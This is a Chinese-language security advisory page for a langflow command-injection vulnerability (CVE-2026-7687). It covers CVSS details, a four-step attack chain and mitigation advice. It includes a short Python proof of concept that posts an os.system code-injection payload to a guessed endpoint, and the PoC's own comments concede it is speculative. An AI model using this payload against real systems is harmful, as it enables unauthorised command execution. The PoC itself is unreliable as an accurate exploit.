IPBUF安全漏洞报告
English
CVE-2026-7687 CVSS 6.3 中危

CVE-2026-7687 langflow命令注入漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7687
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
langflow-ai langflow

相关标签

命令注入RCECVE-2026-7687langflow代码执行

漏洞概述

langflow-ai langflow 1.8.4及之前版本中存在一处安全漏洞。问题出在Full Builtins Module Handler组件的`CodeParser.parse_callable_details`函数,具体文件路径为`src/lfx/src/lfx/custom/code_parser/code_parser.py`。由于对用户输入处理不当,攻击者可远程利用此漏洞执行命令注入攻击。目前该漏洞利用方式已公开,厂商尚未回应修复事宜,建议用户关注后续更新。

技术细节

该漏洞源于langflow在处理代码解析逻辑时缺乏严格的输入验证机制。具体受影响的是`src/lfx/src/lfx/custom/code_parser/code_parser.py`文件中的`CodeParser.parse_callable_details`方法。攻击者可以通过网络向受影响的服务端发送特制的恶意请求,利用该函数在解析细节时的逻辑缺陷,欺骗应用程序执行任意操作系统命令。根据CVSS向量分析,该漏洞攻击复杂度低(AC:L),无需用户交互(UI:N),攻击者仅需拥有低权限账户(PR:L)即可发起攻击。成功利用该漏洞后,攻击者能够获得一定程度的系统控制权,导致数据机密性、完整性和可用性受损(C:L/I:L/A:L)。鉴于漏洞利用代码已被公开披露,且厂商尚未响应,潜在攻击者极易构建自动化攻击工具扫描并入侵未修复的实例。

攻击链分析

STEP 1
侦察
攻击者扫描互联网或内网,寻找运行langflow 1.8.4及以下版本的目标服务。
STEP 2
漏洞利用
攻击者向`CodeParser.parse_callable_details`接口发送特制的恶意数据包,其中包含经过构造的命令注入Payload。
STEP 3
命令执行
由于目标系统未对输入进行过滤,后端将恶意数据作为系统命令执行,攻击者获得服务器权限。
STEP 4
建立据点
攻击者利用获得的权限反弹Shell,上传后门程序,进一步窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration target_url = "http://localhost:3000/api/v1/parse-code" # Example endpoint # The vulnerability exists in CodeParser.parse_callable_details # We construct a payload that attempts to inject a system command # Payload structure depends on the actual implementation, assuming it takes a code string. malicious_payload = "__import__('os').system('id')" data = { "code": malicious_payload, "type": "callable" } try: # Sending the malicious request response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the command was executed on the target.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

langflow-ai langflow <= 1.8.4

防御指南

临时缓解措施
目前厂商尚未提供官方补丁。建议暂时限制对langflow服务的外网访问,并在应用层面对`parse_callable_details`函数的输入进行严格的过滤和清洗,移除或转义可能触发命令执行的特殊字符(如;、|、$等)。同时,应密切监控系统日志,检测是否存在异常的代码解析活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表